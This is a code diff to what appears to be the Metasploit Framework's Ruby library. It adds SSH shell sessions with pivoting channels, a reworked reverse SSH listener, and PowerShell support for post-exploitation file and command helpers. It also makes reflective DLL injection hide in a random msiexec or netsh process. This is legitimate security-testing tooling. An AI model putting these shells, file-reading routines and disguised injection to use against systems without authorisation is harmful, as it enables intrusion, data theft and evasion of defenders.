SSH_OPEN_UNKNOWN_CHANNEL_TYPE = 3
SSH_OPEN_RESOURCE_SHORTAGE = 4
end
#
# This is a Metasploit Framework channel object that wraps a Net::SSH native
# channel object.
#
class TcpClientChannel
include Rex::IO::StreamAbstraction
#
# This is a common interface that socket paris are extended with to be
# compatible with pivoting.
#
module SocketInterface
include Rex::Post::Channel::SocketAbstraction::SocketInterface
def type?
'tcp'
end
end
#
# Create a new TcpClientChannel instance.
#
# @param client [SshCommandShellBind] The command shell session that this
# channel instance belongs to.
# @param cid [Integer] The channel ID.
# @param ssh_channel [Net::SSH::Connection::Channel] The connected SSH
# channel.
# @param params [Rex::Socket::Parameters] The parameters that were used to
# open the channel.
def initialize(client, cid, ssh_channel, params)
initialize_abstraction
@client = client
@cid = cid
@ssh_channel = ssh_channel
@params = params
@mutex = Mutex.new
ssh_channel.on_close do |_ch|
dlog('ssh_channel#on_close closing the sock')
close
end
ssh_channel.on_data do |_ch, data|
# dlog("ssh_channel#on_data received #{data.length} bytes")
rsock.syswrite(data)
end
ssh_channel.on_eof do |_ch|
dlog('ssh_channel#on_eof shutting down the socket')
rsock.shutdown(Socket::SHUT_WR)
end
lsock.extend(SocketInterface)
lsock.channel = self
rsock.extend(SocketInterface)
rsock.channel = self
client.add_channel(self)
end
def closed?
@cid.nil?
end
def close
cid = @cid
@mutex.synchronize do
return if closed?
@cid = nil
end
@client.remove_channel(cid)
cleanup_abstraction
@ssh_channel.close
end
def close_write
if closed?
raise IOError, 'Channel has been closed.', caller
end
@ssh_channel.eof!
end
#
# Read *length* bytes from the channel. If the operation times out, the data
# that was read will be returned or nil if no data was read.
#
def read(length = nil)
if closed?
raise IOError, 'Channel has been closed.', caller
end
buf = ''
length = 65536 if length.nil?
begin
buf << lsock.recv(length - buf.length) while buf.length < length
rescue StandardError
buf = nil if buf.empty?
end
buf
end
#
# Write *buf* to the channel, optionally truncating it to *length* bytes.
#
# @param [String] buf The data to write to the channel.
# @param [Integer] length An optional length to truncate *data* to before
# sending it.
def write(buf, length = nil)
if closed?
raise IOError, 'Channel has been closed.', caller
end
if !length.nil? && buf.length >= length
buf = buf[0..length]
end
@ssh_channel.send_data(buf)
buf.length
end
attr_reader :cid, :client, :params
end
#
# Create a sessions instance from an SshConnection. This will handle creating
# a new command stream.
#
# @param ssh_connection [Net::SSH::Connection] The SSH connection to create a
# session instance for.
# @param opts [Hash] Optional parameters to pass to the session object.
def initialize(ssh_connection, opts = {})
@ssh_connection = ssh_connection
@sock = ssh_connection.transport.socket
initialize_channels
@channel_ticker = 0
rstream = Net::SSH::CommandStream.new(ssh_connection).lsock
super(rstream, opts)
end
#
# Create a network socket using this session. At this time, only TCP client
# connections can be made (like SSH port forwarding) while TCP server sockets
# can not be opened (SSH reverse port forwarding). The SSH specification does
# not define a UDP channel, so that is not supported either.
#
# @param params [Rex::Socket::Parameters] The parameters that should be used
# to open the socket.
#
# @raise [Rex::ConnectionError] If the connection fails, timesout or is not
# supported, a ConnectionError will be raised.
# @return [TcpClientChannel] The connected TCP client channel.
def create(params)
# Notify handlers before we create the socket
notify_before_socket_create(self, params)
mutex = Mutex.new
condition = ConditionVariable.new
ssh_channel = msf_channel = nil
if params.proto == 'tcp'
if params.server
raise ::Rex::BindFailed.new(params.localhost, params.localport, reason: 'TCP server sockets are not supported by SSH sessions.')
end
ssh_channel = @ssh_connection.open_channel('direct-tcpip', :string, params.peerhost, :long, params.peerport, :string, params.localhost, :long, params.localport) do |new_channel|
dlog("new direct-tcpip channel opened to #{Rex::Socket.is_ipv6?(params.peerhost) ? '[' + params.peerhost + ']' : params.peerhost}:#{params.peerport}")
msf_channel = TcpClientChannel.new(self, @channel_ticker += 1, new_channel, params)
mutex.synchronize do
condition.signal
end
end
elsif params.proto == 'udp'
raise ::Rex::ConnectionError.new(params.peerhost, params.peerport, reason: 'UDP sockets are not supported by SSH sessions.')
end
raise ::Rex::ConnectionError if ssh_channel.nil?
failure_reason_code = nil
ssh_channel.on_open_failed do |_ch, code, desc|
failure_reason_code = code
wlog("failed to open SSH channel (code: #{code.inspect}, description: #{desc.inspect})")
mutex.synchronize do
condition.signal
end
end
mutex.synchronize do
condition.wait(mutex, params.timeout)
end
if msf_channel.nil?
ssh_channel.close
raise ::Rex::ConnectionTimeout.new(params.peerhost, params.peerport) if failure_reason_code.nil?
case failure_reason_code
when ChannelFailureReason::SSH_OPEN_ADMINISTRATIVELY_PROHIBITED
reason = 'The SSH channel request was administratively prohibited.'
when ChannelFailureReason::SSH_OPEN_UNKNOWN_CHANNEL_TYPE
reason = 'The SSH channel type is not supported.'
when ChannelFailureReason::SSH_OPEN_RESOURCE_SHORTAGE
reason = 'The SSH channel request was denied because of a resource shortage.'
end
raise ::Rex::ConnectionError.new(params.peerhost, params.peerport, reason: reason)
end
sock = msf_channel.lsock
# Notify now that we've created the socket
notify_socket_created(self, sock, params)
sock
end
def cleanup
channels.each_value(&:close)
super
end
attr_reader :sock, :ssh_connection
end
end
@@ -0,0 +1,73 @@
# -*- coding: binary -*-
module Msf::Sessions
###
#
# This class provides basic interaction with a ChannelFD
# abstraction provided by the Rex::Proto::Ssh wrapper
# around HrrRbSsh.
#
# Date: June 22, 2019
# Author: RageLtMan
#
###
class SshCommandShellReverse < Msf::Sessions::CommandShell
#
# This interface supports basic interaction.
#
include Msf::Session::Basic
#
# This interface supports interacting with a single command shell.
#
include Msf::Session::Provider::SingleCommandShell
##
#
# Returns the session description.
#
def desc
'SSH command shell'
end
def shell_command(cmd)
# Send the command to the session's stdin.
shell_write(cmd + "\n")
timeo = 0.5
etime = ::Time.now.to_f + timeo
buff = ''
# Keep reading data until no more data is available or the timeout is
# reached.
while ((::Time.now.to_f < etime) && ::IO.select([rstream.fd_rd], nil, nil, timeo))
res = shell_read(-1, 0.01)
buff << res if res
timeo = etime - ::Time.now.to_f
end
buff
end
protected
def _interact_stream
fdr = [rstream.fd_rd, user_input.fd]
fdw = [rstream.fd_wr, user_input.fd]
while interacting
sd = Rex::ThreadSafe.select(fdr, nil, fdw, 0.5)
next unless sd
if sd[0].include? rstream.fd_rd
user_output.print(shell_read)
end
if sd[0].include? user_input.fd
run_single((user_input.gets || '').chomp("\n"))
end
Thread.pass
end
end
end
end
+9 -2
View File
@@ -69,7 +69,12 @@ class Msf::Analyze::Result
end
def determine_prerequisites
@mod = @framework.modules.create(@mod.fullname)
mod_detail = @framework.modules.create(@mod.fullname)
if mod_detail.nil?
@required << :module_not_loadable
return
end
@mod = mod_detail
if @mod.respond_to?(:session_types) && @mod.session_types
@required << :session
@@ -89,7 +94,7 @@ class Msf::Analyze::Result
@mod.datastore[k] = v
end
target_idx = @mod.auto_targeted_index(@host)
target_idx = @mod.respond_to?(:auto_targeted_index) ? @mod.auto_targeted_index(@host) : nil
if target_idx
@datastore['target'] = target_idx
@mod.datastore['target'] = target_idx
@@ -181,6 +186,8 @@ class Msf::Analyze::Result
def missing_message
@missing.map do |m|
case m
when :module_not_loadable
"module not loadable"
when :os_match
"operating system does not match"
when :session, "SESSION"
+2 -2
View File
@@ -29,7 +29,7 @@ module Auxiliary::CommandShell
end
def start_session(obj, info, ds_merge, crlf = false, sock = nil)
def start_session(obj, info, ds_merge, crlf = false, sock = nil, sess = nil)
if crlf
# Windows telnet server requires \r\n line endings and it doesn't
# seem to affect anything else.
@@ -37,7 +37,7 @@ module Auxiliary::CommandShell
end
sock ||= obj.sock
sess = Msf::Sessions::CommandShell.new(sock)
sess ||= Msf::Sessions::CommandShell.new(sock)
sess.set_from_exploit(obj)
sess.info = info
+1 -1
View File
@@ -29,7 +29,7 @@ module Msf::DBManager::Adapter
def initialize_adapter
ApplicationRecord.default_timezone = :utc
if connection_established? && ApplicationRecord.connection_config[:adapter] == ADAPTER
if connection_established? && ApplicationRecord.connection_db_config.configuration_hash[:adapter] == ADAPTER
dlog("Already established connection to #{ADAPTER}, so reusing active connection.")
self.drivers << ADAPTER
self.driver = ADAPTER
+1 -1
View File
@@ -34,7 +34,7 @@ module Msf::DBManager::Migration
ActiveRecord::Migration.verbose = verbose
ActiveRecord::Base.connection_pool.with_connection do
begin
context = ActiveRecord::MigrationContext.new(gather_engine_migration_paths)
context = ActiveRecord::MigrationContext.new(gather_engine_migration_paths, ActiveRecord::SchemaMigration)
if context.needs_migration?
ran = context.migrate
end
+2 -1
View File
@@ -145,7 +145,8 @@ module Exploit::Remote::HttpServer
opts['Comm'],
datastore['SSLCert'],
datastore['SSLCompression'],
datastore['SSLCipher']
datastore['SSLCipher'],
datastore['SSLVersion']
)
self.service.server_name = datastore['HTTP::server_name']
@@ -95,6 +95,8 @@ module Exploit::Remote::SMB::Client::Psexec
# @param disconnect [Boolean] Disconnect afterwards
# @return [Boolean] Whether everything went well
def psexec(command, disconnect=true)
remove_socket(self.sock)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("Binding to #{handle} ...")
+17 -8
View File
@@ -28,7 +28,8 @@ module Exploit::Remote::TcpServer
[
OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']),
OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]),
OptString.new('SSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"'])
OptString.new('SSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']),
Opt::SSLVersion
], Msf::Exploit::Remote::TcpServer)
register_evasion_options(
@@ -59,14 +60,15 @@ module Exploit::Remote::TcpServer
comm = _determine_server_comm
self.service = Rex::Socket::TcpServer.create(
'LocalHost' => srvhost,
'LocalPort' => srvport,
'SSL' => ssl,
'SSLCert' => ssl_cert,
'SSLCipher' => ssl_cipher,
'LocalHost' => srvhost,
'LocalPort' => srvport,
'SSL' => ssl,
'SSLCert' => ssl_cert,
'SSLCipher' => ssl_cipher,
'SSLCompression' => ssl_compression,
'Comm' => comm,
'Context' =>
'SSLVersion' => ssl_version,
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
@@ -135,6 +137,13 @@ module Exploit::Remote::TcpServer
datastore['SSLCompression']
end
#
# Returns the SSLVersion option
#
def ssl_version
datastore['SSLVersion']
end
end
end
+2 -1
View File
@@ -9,7 +9,8 @@ module Msf
super
register_advanced_options(
[
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
Opt::SSLVersion,
], Msf::Handler::Reverse::SSL)
end
+2 -2
View File
@@ -212,7 +212,7 @@ module ReverseHttp
'MsfExploit' => self,
},
nil,
(ssl?) ? datastore['HandlerSSLCert'] : nil
(ssl?) ? datastore['HandlerSSLCert'] : nil, nil, nil, datastore['SSLVersion']
)
local_addr = ip
rescue
@@ -337,7 +337,7 @@ protected
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
allowed_urls = db_uuid ? db_uuid['urls'] : []
unless allowed_urls.include?(req.relative_resource)
unless allowed_urls && allowed_urls.include?(req.relative_resource.chomp('/'))
print_status("Ignoring unknown UUID URL: #{request_summary}")
info[:mode] = :unknown_uuid_url
end
+140 -142
View File
@@ -1,157 +1,155 @@
# -*- coding: binary -*-
module Msf
module Handler
module Handler
###
#
# This handler implements the SSH tunneling interface.
#
###
module ReverseSsh
include Msf::Handler
include Msf::Handler::Reverse
###
#
# This handler implements the SSH tunneling interface.
#
###
module ReverseSsh
#
# Returns the string representation of the handler type
#
def self.handler_type
return 'reverse_ssh'
end
include Msf::Handler
include Msf::Handler::Reverse
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
'tunnel'
end
#
# Returns the string representation of the handler type
#
def self.handler_type
return 'reverse_ssh'
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
# Initializes the reverse SSH handler and ads the options that are required
# for all reverse SSH payloads, like version string and auth params.
#
def initialize(info = {})
super
register_options([Opt::LPORT(22)])
register_advanced_options(
[
OptString.new('Ssh::Version', [
true,
'The SSH version string to provide',
Rex::Proto::Ssh::Connection.default_options['local_version']
])
], Msf::Handler::ReverseSsh
)
end
# A URI describing where we are listening
#
# @param addr [String] the address that
# @return [String] A URI of the form +ssh://host:port/+
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
addr = datastore['LHOST'] if addr.nil? || addr.empty?
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"ssh://#{uri_host}:#{bind_port}"
end
# Create an Ssh listener
#
# @return [void]
def setup_handler
local_addr = nil
local_port = bind_port
ex = false
ssh_opts = Rex::Proto::Ssh::Connection.default_options
ssh_opts['local_version'] = datastore['Ssh::Version']
# Start the SSH server service on this host/port
bind_addresses.each do |ip|
begin
self.service = Rex::ServiceManager.start(Rex::Proto::Ssh::Server,
local_port, ip,
{
'Msf' => framework,
'MsfExploit' => self,
},
comm,
ssh_opts
# Initializes the reverse SSH handler and ads the options that are required
# for all reverse SSH payloads, like version string and auth params.
#
def initialize(info = {})
super
register_options([Opt::LPORT(22)])
register_advanced_options(
[
OptString.new('Ssh::Version', [
true,
'The SSH version string to provide',
default_version_string
])
], Msf::Handler::ReverseSsh
)
local_addr = ip
rescue
ex = $!
print_error("Handler failed to bind to #{ip}:#{local_port}")
else
end
# A URI describing where we are listening
#
# @param addr [String] the address that
# @return [String] A URI of the form +ssh://host:port/+
def listener_uri(addr = datastore['ReverseListenerBindAddress'])
addr = datastore['LHOST'] if addr.nil? || addr.empty?
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"ssh://#{uri_host}:#{bind_port}"
end
# Create an Ssh listener
#
# @return [void]
def setup_handler
local_addr = nil
local_port = bind_port
ex = false
break
end
end
self.service.on_client_connect_proc = Proc.new {|cli| init_fd_client(cli)}
raise ex if (ex)
ssh_opts = Rex::Proto::Ssh::Connection.default_options
ssh_opts['local_version'] = datastore['Ssh::Version']
print_status("Started SSH reverse handler on #{listener_uri(local_addr)}")
if datastore['IgnoreUnknownPayloads']
print_status("Handler is ignoring unknown payloads")
end
end
# Stops the handler & service
#
# @return [void]
def stop_handler
if self.service
if self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
end
end
def init_fd_client(cli)
begin
Timeout::timeout(5) do
while cli.connection.open_channel_keys.empty? do
sleep 0.02
# Start the SSH server service on this host/port
bind_addresses.each do |ip|
self.service = Rex::ServiceManager.start(Rex::Proto::Ssh::Server,
local_port, ip,
{
'Msf' => framework,
'MsfExploit' => self
},
comm,
ssh_opts)
local_addr = ip
rescue StandardError
ex = $!
print_error("Handler failed to bind to #{ip}:#{local_port}")
else
ex = false
break
end
service.on_client_connect_proc = proc { |cli| init_fd_client(cli) }
raise ex if ex
print_status("Started SSH reverse handler on #{listener_uri(local_addr)}")
if datastore['IgnoreUnknownPayloads']
print_status('Handler is ignoring unknown payloads')
end
fdc = Rex::Proto::Ssh::ChannelFD.new(cli)
self.service.clients.push(fdc)
create_session(fdc)
end
rescue Timeout::Error
elog("Unable to find channel FDs for client #{cli}")
# Stops the handler & service
#
# @return [void]
def stop_handler
if service && (sessions == 0)
Rex::ServiceManager.stop_service(service)
end
end
def init_fd_client(cli)
Timeout.timeout(5) do
sleep 0.02 while cli.connection.open_channel_keys.empty?
fdc = Rex::Proto::Ssh::ChannelFD.new(cli)
service.clients.push(fdc)
create_session(fdc)
end
rescue Timeout::Error
elog("Unable to find channel FDs for client #{cli}")
end
def create_session(ssh, opts = {})
# If there is a parent payload, then use that in preference.
s = Sessions::SshCommandShellReverse.new(ssh, opts)
# Pass along the framework context
s.framework = framework
# Associate this system with the original exploit
# and any relevant information
s.set_from_exploit(assoc_exploit)
# If the session is valid, register it with the framework and
# notify any waiters we may have.
if s
register_session(s)
end
return s
end
#
# Always wait at least 5 seconds for this payload (due to channel delays)
#
def wfs_delay
datastore['WfsDelay'] > 4 ? datastore['WfsDelay'] : 5
end
attr_accessor :service # :nodoc:
private
def default_version_string
require 'rex/proto/ssh/connection'
Rex::Proto::Ssh::Connection.default_options['local_version']
rescue LoadError => e
print_error("This handler requires PTY access not available on all platforms.")
elog(e)
'SSH-2.0-OpenSSH_5.3p1'
end
end
end
def create_session(ssh,opts={})
# If there is a parent payload, then use that in preference.
s = Sessions::SshCommandShell.new(ssh,opts)
# Pass along the framework context
s.framework = framework
# Associate this system with the original exploit
# and any relevant information
s.set_from_exploit(assoc_exploit)
# If the session is valid, register it with the framework and
# notify any waiters we may have.
if (s)
register_session(s)
end
return s
end
#
# Always wait at least 5 seconds for this payload (due to channel delays)
#
def wfs_delay
datastore['WfsDelay'] > 4 ? datastore['WfsDelay'] : 5
end
attr_accessor :service # :nodoc:
end
end
end
@@ -76,11 +76,12 @@ module ReverseTcpDoubleSSL
begin
self.listener_sock = Rex::Socket::SslTcpServer.create(
'LocalHost' => ip,
'LocalPort' => local_port,
'Comm' => comm,
'SSLCert' => datastore['HandlerSSLCert'],
'Context' =>
'LocalHost' => ip,
'LocalPort' => local_port,
'Comm' => comm,
'SSLCert' => datastore['HandlerSSLCert'],
'SSLVersion' => datastore['SSLVersion'],
'Context' =>
{
'Msf' => framework,
'MsfPayload' => self,
+6 -5
View File
@@ -54,11 +54,12 @@ module ReverseTcpSsl
begin
self.listener_sock = Rex::Socket::SslTcpServer.create(
'LocalHost' => ip,
'LocalPort' => local_port,
'Comm' => comm,
'SSLCert' => datastore['HandlerSSLCert'],
'Context' =>
'LocalHost' => ip,
'LocalPort' => local_port,
'Comm' => comm,
'SSLCert' => datastore['HandlerSSLCert'],
'SSLVersion' => datastore['SSLVersion'],
'Context' =>
{
'Msf' => framework,
'MsfPayload' => self,
+1 -1
View File
@@ -52,7 +52,7 @@ module Msf::ModuleManager::Cache
log_message = log_lines.join("\n")
elog(log_message)
else
parent_path = class_or_module.parent.parent_path
parent_path = class_or_module.module_parent.parent_path
reference_name = options.fetch(:reference_name)
type = options.fetch(:type)
+1 -1
View File
@@ -20,7 +20,7 @@ module Msf::ModuleManager::Reloading
self.inv_aliases.delete metasploit_class.fullname
end
namespace_module = metasploit_class.parent
namespace_module = metasploit_class.module_parent
loader = namespace_module.loader
loader.reload_module(mod)
end
+3 -3
View File
@@ -279,7 +279,7 @@ class Msf::Modules::Loader::Base
original_metasploit_class = original_metasploit_class_or_instance
end
namespace_module = original_metasploit_class.parent
namespace_module = original_metasploit_class.module_parent
parent_path = namespace_module.parent_path
type = original_metasploit_class.type
@@ -535,7 +535,7 @@ class Msf::Modules::Loader::Base
relative_name = namespace_module_names.last
if previous_namespace_module
parent_module = previous_namespace_module.parent
parent_module = previous_namespace_module.module_parent
# remove_const is private, so use send to bypass
parent_module.send(:remove_const, relative_name)
end
@@ -544,7 +544,7 @@ class Msf::Modules::Loader::Base
# Get the parent module from the created module so that
# restore_namespace_module can remove namespace_module's constant if
# needed.
parent_module = namespace_module.parent
parent_module = namespace_module.module_parent
begin
loaded = block.call(namespace_module)
+1 -2
View File
@@ -75,8 +75,7 @@ module Msf::Payload::TransportConfig
uri = opts[:uri]
unless uri
type = opts[:stageless] == true ? :init_connect : :connect
sum = uri_checksum_lookup(type)
uri = luri + generate_uri_uuid(sum, opts[:uuid])
uri = luri + generate_uri_uuid_mode(type, uuid: opts[:uuid])
end
ds = opts[:datastore] || datastore
+25 -16
View File
@@ -29,7 +29,7 @@ module Msf::Post::Common
case session.type
when 'meterpreter'
session.sock.peerhost
when 'shell'
when 'shell', 'powershell'
session.session_host
end
end
@@ -38,7 +38,7 @@ module Msf::Post::Common
case session.type
when 'meterpreter'
session.sock.peerport
when 'shell'
when 'shell', 'powershell'
session.session_port
end
end
@@ -80,7 +80,7 @@ module Msf::Post::Common
#
def cmd_exec(cmd, args=nil, time_out=15, opts = {})
case session.type
when /meterpreter/
when 'meterpreter'
#
# The meterpreter API requires arguments to come separately from the
# executable path. This has no effect on Windows where the two are just
@@ -110,14 +110,14 @@ module Msf::Post::Common
'Subshell' => true
}.merge(opts)
o = session.sys.process.capture_output(cmd, args, opts, time_out)
when /powershell/
when 'powershell'
if args.nil? || args.empty?
o = session.shell_command("#{cmd}", time_out)
else
o = session.shell_command("#{cmd} #{args}", time_out)
end
o.chomp! if o
when /shell/
when 'shell'
if args.nil? || args.empty?
o = session.shell_command_token("#{cmd}", time_out)
else
@@ -131,7 +131,7 @@ module Msf::Post::Common
def cmd_exec_get_pid(cmd, args=nil, time_out=15)
case session.type
when /meterpreter/
when 'meterpreter'
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
args = ""
end
@@ -167,9 +167,11 @@ module Msf::Post::Common
#
def get_env(env)
case session.type
when /meterpreter/
when 'meterpreter'
return session.sys.config.getenv(env)
when /shell/
when 'powershell'
return cmd_exec("echo $env:#{env}").strip
when 'shell'
if session.platform == 'windows'
if env[0,1] == '%'
unless env[-1,1] == '%'
@@ -197,9 +199,9 @@ module Msf::Post::Common
#
def get_envs(*envs)
case session.type
when /meterpreter/
when 'meterpreter'
return session.sys.config.getenvs(*envs)
when /shell/
when 'shell', 'powershell'
result = {}
envs.each do |env|
res = get_env(env)
@@ -212,17 +214,24 @@ module Msf::Post::Common
nil
end
# Checks if the specified command can be executed by the session. It should be
# noted that not all commands correspond to a binary file on disk. For example,
# a bash shell session will provide the `eval` command when there is no `eval`
# binary on disk. Likewise, a Powershell session will provide the `Get-Item`
# command when there is no `Get-Item` executable on disk.
#
# Checks if the `cmd` is installed on the system
# @return [Boolean]
#
# @param [String] cmd the command to check
# @return [Boolean] true when the command exists
def command_exists?(cmd)
if session.platform == 'windows'
verification_token = Rex::Text.rand_text_alpha_upper(8)
if session.type == 'powershell'
cmd_exec("try {if(Get-Command #{cmd}) {echo #{verification_token}}} catch {}").include?(verification_token)
elsif session.platform == 'windows'
# https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/where_1
# https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/if
cmd_exec("cmd /c where /q #{cmd} & if not errorlevel 1 echo true").to_s.include? 'true'
cmd_exec("cmd /c where /q #{cmd} & if not errorlevel 1 echo #{verification_token}").to_s.include?(verification_token)
else
cmd_exec("command -v #{cmd} || which #{cmd} && echo true").to_s.split("\n")[-1] == 'true'
cmd_exec("command -v #{cmd} || which #{cmd} && echo #{verification_token}").include?(verification_token)
end
rescue
raise "Unable to check if command `#{cmd}' exists"
+66 -11
View File
@@ -64,7 +64,7 @@ module Msf::Post::File
if session.platform == 'windows'
# XXX: %CD% only exists on XP and newer, figure something out for NT4
# and 2k
return session.shell_command_token("echo %CD%")
return session.shell_command_token("echo %CD%").to_s.strip
else
if command_exists?("pwd")
return session.shell_command_token("pwd").to_s.strip
@@ -84,8 +84,14 @@ module Msf::Post::File
return session.fs.dir.entries(directory)
end
if session.type == 'powershell'
dir = session.shell_command_token("Get-ChildItem \"#{directory}\" | Format-Table Name").split(/[\r\n]+/)
dir.slice!(0..2) if dir.length > 2
return dir
end
if session.platform == 'windows'
return session.shell_command_token("dir #{directory}").split(/[\r\n]+/)
return session.shell_command_token("dir /b \"#{directory}\"")&.split(/[\r\n]+/)
end
if command_exists?('ls')
@@ -251,9 +257,20 @@ module Msf::Post::File
# @return [Boolean] true if +path+ exists and is readable
#
def readable?(path)
verification_token = Rex::Text::rand_text_alpha(8)
return false unless exists?(path)
if session.type == 'powershell'
unless directory?(path)
return cmd_exec("[System.IO.File]::OpenRead(\"#{path}\");if($?){echo\
#{verification_token}}").include?(verification_token)
else
return cmd_exec("[System.IO.Directory]::GetFiles('#{path}'); if($?) {echo #{verification_token}}").include?(verification_token)
end
end
raise "`readable?' method does not support Windows systems" if session.platform == 'windows'
cmd_exec("test -r '#{path}' && echo true").to_s.include? 'true'
cmd_exec("test -r '#{path}' && echo #{verification_token}").to_s.include?(verification_token)
end
#
@@ -370,8 +387,9 @@ module Msf::Post::File
return unless %w[shell powershell].include?(session.type)
if session.type == 'powershell'
return cmd_exec("Get-Content \"#{file_name}\"")
return _read_file_powershell(file_name)
end
if session.platform == 'windows'
return session.shell_command_token("type \"#{file_name}\"")
end
@@ -531,24 +549,35 @@ module Msf::Post::File
alias :dir_rm :rm_rf
#
# Rename a remote file.
# Renames a remote file. If the new file path is a directory, the file will be
# moved into that directory with the same name.
#
# @param old_file [String] Remote file name to move
# @param new_file [String] The new name for the remote file
# @return [Boolean] Return true on success and false on failure
def rename_file(old_file, new_file)
verification_token = Rex::Text.rand_text_alphanumeric(8)
if session.type == "meterpreter"
return (session.fs.file.mv(old_file, new_file).result == 0)
else
if session.platform == 'windows'
cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/
else
cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty?
begin
new_file = new_file + session.fs.file.separator + session.fs.file.basename(old_file) if directory?(new_file)
return (session.fs.file.mv(old_file, new_file).result == 0)
rescue Rex::Post::Meterpreter::RequestError => e
return false
end
elsif session.type == 'powershell'
cmd_exec("Move-Item \"#{old_file}\" \"#{new_file}\" -Force; if($?){echo #{verification_token}}").include?(verification_token)
elsif session.platform == 'windows'
return false unless file?(old_file) # adding this because when the old_file is not present it hangs for a while, should be removed after this issue is fixed.
cmd_exec(%Q|move #{directory?(new_file) ? "" : "/y"} "#{old_file}" "#{new_file}" & if not errorlevel 1 echo #{verification_token}|).include?(verification_token)
else
cmd_exec(%Q|mv #{directory? ? "" : "-f"} "#{old_file}" "#{new_file}" && echo #{verification_token}|).include?(verification_token)
end
end
alias :move_file :rename_file
alias :mv_file :rename_file
#
#
# Copy a remote file.
#
@@ -578,6 +607,32 @@ module Msf::Post::File
protected
def _read_file_powershell(filename)
data = ''
offset = 0
chunk_size = 65536
loop do
chunk = _read_file_powershell_fragment(filename, chunk_size, offset)
break if chunk.nil?
data << chunk
offset += chunk_size
break if chunk.length < chunk_size
end
return data
end
def _read_file_powershell_fragment(filename, chunk_size, offset=0)
b64_data= cmd_exec("$mstream = [System.IO.MemoryStream]::new();\
$gzipstream = [System.IO.Compression.GZipStream]::new($mstream, [System.IO.Compression.CompressionMode]::Compress);\
$get_bytes = [System.IO.File]::ReadAllBytes(\"#{filename}\")[#{offset}..#{offset + chunk_size -1}];\
$gzipstream.Write($get_bytes, 0 , $get_bytes.Length);\
$gzipstream.Close();\
[Convert]::ToBase64String($mstream.ToArray())")
return nil if b64_data.empty?
uncompressed_fragment = Zlib::GzipReader.new(StringIO.new(Base64.decode64(b64_data))).read
return uncompressed_fragment
end
# Checks to see if there are non-ansi or newline characters in a given string
#
# @param data [String] String to check for non-ansi or newline chars
+19 -7
View File
@@ -53,20 +53,33 @@ module Process
end
#
# Injects a reflective DLL in to a process, and executes it.
# Injects a reflective DLL into a process, and executes it.
#
# @param rdll_path [String] The path to the DLL to inject
# @param param [String, Integer, nil] The parameter to pass to the DLL's entry point. If this value is a String
# then it will first be written into the process memory and then passed by reference. If the value is an Integer,
# then the value will be passed as is. If the value is nil, it'll be passed as a NULL pointer.
# @param pid [Integer] The process ID to inject to, if unspecified, a new instance of notepad.exe will be
# launched to host the injected DLL.
# @param pid [Integer] The process ID to inject to, if unspecified, a new instance of a random EXE from the
# process_list array will be launched to host the injected DLL.
def execute_dll(rdll_path, param=nil, pid=nil)
process_list = ['msiexec', 'netsh']
if pid.nil?
print_status('Launching notepad to host the DLL...')
notepad_process = client.sys.process.execute('notepad.exe', nil, { 'Hidden' => true })
# Get a random process from the process list to spawn.
process_cmd = process_list.sample
# Use Rex's PeParsey as per Spencer's suggestion to determine the true architecture of the DLL we are injecting.
pe = Rex::PeParsey::Pe.new_from_file(rdll_path, true)
arch = pe.hdr.file['Machine'].value
# If the DLL is x86 but the host architecture is x64, then launch a 32 bit WoW64 binary to inject into.
if (arch == Rex::PeParsey::PeBase::IMAGE_FILE_MACHINE_I386) && (session.sys.config.sysinfo['Architecture'] == ARCH_X64)
windir = session.sys.config.getenv('windir')
process_cmd = "#{windir}\\SysWOW64\\#{process_cmd}.exe"
end
print_status("Launching #{process_cmd} to host the DLL...")
host_process = client.sys.process.execute(process_cmd, nil, { 'Hidden' => true })
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
process = client.sys.process.open(host_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
@@ -77,7 +90,6 @@ module Process
else
process = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
end
print_status("Reflectively injecting the DLL into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, ::File.expand_path(rdll_path))
+10 -4
View File
@@ -231,17 +231,20 @@ module Msf::PostMixin
return 'missing Meterpreter features: core can not be extended' unless s.commands.include?(Rex::Post::Meterpreter::COMMAND_ID_CORE_LOADLIB)
# Since core is already loaded, if the missing command is a core command then it's truly missing
return 'missing Meterpreter features: core commands' if missing_cmd_ids.any? do |cmd_id|
missing_core_cmd_ids = missing_cmd_ids.select do |cmd_id|
cmd_id.between?(
Rex::Post::Meterpreter::ClientCore.extension_id,
Rex::Post::Meterpreter::ClientCore.extension_id + Rex::Post::Meterpreter::COMMAND_ID_RANGE - 1
)
end
if missing_core_cmd_ids.any?
return "missing Meterpreter features: #{command_names_for(missing_core_cmd_ids)}"
end
missing_extensions = missing_cmd_ids.map { |cmd_id| Rex::Post::Meterpreter::ExtensionMapper.get_extension_name(cmd_id) }.uniq
missing_extensions.each do |ext_name|
# If the extension is already loaded, the command is truly missing
